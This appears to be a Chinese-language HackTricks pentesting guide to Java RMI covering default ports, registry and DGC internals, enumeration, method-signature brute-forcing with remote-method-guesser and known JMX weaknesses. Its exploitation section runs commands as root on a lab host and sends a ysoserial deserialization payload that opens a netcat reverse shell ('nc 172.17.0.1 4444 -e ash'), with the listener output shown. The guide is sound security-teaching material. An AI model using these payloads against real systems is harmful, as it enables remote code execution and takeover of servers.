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1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

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基本信息

Java 远程方法调用，或 Java RMI，是一种面向对象的 RPC 机制，允许一个位于一个 _Java 虚拟机_中的对象调用另一个 _Java 虚拟机_中的对象上的方法。这使开发人员能够使用面向对象的范式编写分布式应用程序。可以在此黑帽大会演讲中找到从攻击者角度的 Java RMI 简短介绍。

默认端口： 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

通常，只有默认的_Java RMI_组件（RMI Registry_和_Activation System）绑定到常见端口。实现实际_RMI_应用程序的_远程对象_通常绑定到随机端口，如上所示的输出。

_nmap_有时会在识别受_SSL_保护的_RMI_服务时遇到问题。如果在常见_RMI_端口上遇到未知的ssl服务，应进一步调查。

RMI组件

简单来说，Java RMI_允许开发人员在网络上提供一个_Java对象。这会打开一个_TCP_端口，客户端可以连接并调用相应对象上的方法。尽管听起来很简单，但_Java RMI_需要解决几个挑战：

  1. 通过_Java RMI_分派方法调用，客户端需要知道IP地址、监听端口、实现的类或接口以及目标对象的ObjID（ObjID是在对象在网络上可用时创建的唯一随机标识符。这是必需的，因为_Java RMI_允许多个对象在同一个_TCP_端口上监听）。

  2. 远程客户端可能通过调用暴露对象上的方法在服务器上分配资源。_Java虚拟机_需要跟踪这些资源中哪些仍在使用，哪些可以进行垃圾回收。

第一个挑战由_RMI注册表_解决，它基本上是_Java RMI_的命名服务。RMI注册表_本身也是一个_RMI服务，但实现的接口和ObjID是固定的，并且所有_RMI_客户端都知道。这使_RMI_客户端可以通过知道相应的_TCP_端口来使用_RMI注册表。

当开发人员希望使他们的_Java对象_在网络中可用时，他们通常将它们绑定到_RMI注册表_。注册表_存储了连接到对象所需的所有信息（IP地址、监听端口、实现的类或接口以及ObjID值），并使其在人类可读的名称（绑定名称）下可用。想要消费_RMI服务_的客户端向_RMI注册表_请求相应的_绑定名称，注册表返回所有连接所需的信息。因此，情况基本上与普通_DNS_服务相同。以下清单显示了一个小例子：

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

上述提到的第二个挑战是通过分布式垃圾收集器（Distributed Garbage Collector，DGC）来解决的。这是另一个具有众所周知的ObjID值的_RMI服务_，基本上每个_RMI端点_上都可以找到它。当一个_RMI客户端开始使用一个_RMI服务时，它会向_DGC_发送一个信息，说明相应的_远程对象_正在使用中。_DGC_然后可以跟踪引用计数，并能够清理未使用的对象。

连同已弃用的_激活系统_一起，这些是_Java RMI_的三个默认组件：

  1. RMI注册表（ObjID = 0）

  2. 激活系统（ObjID = 1）

  3. 分布式垃圾收集器（ObjID = 2）

Java RMI_的默认组件长期以来一直是已知的攻击向量，过时的_Java_版本中存在多个漏洞。从攻击者的角度来看，这些默认组件很有趣，因为它们实现了已知的类/接口，很容易与它们进行交互。对于自定义_RMI服务，情况则有所不同。要调用_远程对象_上的方法，您需要事先知道相应的方法签名。如果不知道现有的方法签名，就无法与_RMI服务_进行通信。

RMI枚举

remote-method-guesser是一个能够自动识别常见_RMI漏洞_的_Java RMI_漏洞扫描器。每当您识别到一个_RMI_端点时，都应该尝试使用它：

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

枚举操作的输出在项目的文档页面中有更详细的解释。根据结果，您应该尝试验证已识别的漏洞。

_remote-method-guesser_显示的ObjID值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞：

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

强制破解远程方法

即使在枚举过程中未发现漏洞，可用的 RMI 服务仍可能暴露危险函数。此外，尽管 RMI 通信到 RMI 默认组件受到反序列化过滤器的保护，但与自定义 RMI 服务通信时，这些过滤器通常不会生效。因此，了解 RMI 服务上的有效方法签名非常有价值。

不幸的是，Java RMI 不支持枚举 远程对象 上的方法。尽管如此，可以使用类似 remote-method-guesser 或 rmiscout 这样的工具来强制破解方法签名：

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

已识别的方法可以这样调用：

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

或者您可以执行类似这样的反序列化攻击：

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

更多信息可以在以下文章中找到：

除了猜测之外，您还应该在搜索引擎或 GitHub 中查找遇到的 RMI 服务的接口甚至实现。这里的绑定名称和实现类或接口的名称可能会有所帮助。

已知接口

remote-method-guesser 如果在工具的已知 RMI 服务的内部数据库中列出了类或接口，则将其标记为 known。在这些情况下，您可以使用 known 操作来获取有关相应 RMI 服务的更多信息。

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

工具

参考资料

HackTricks 自动命令

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

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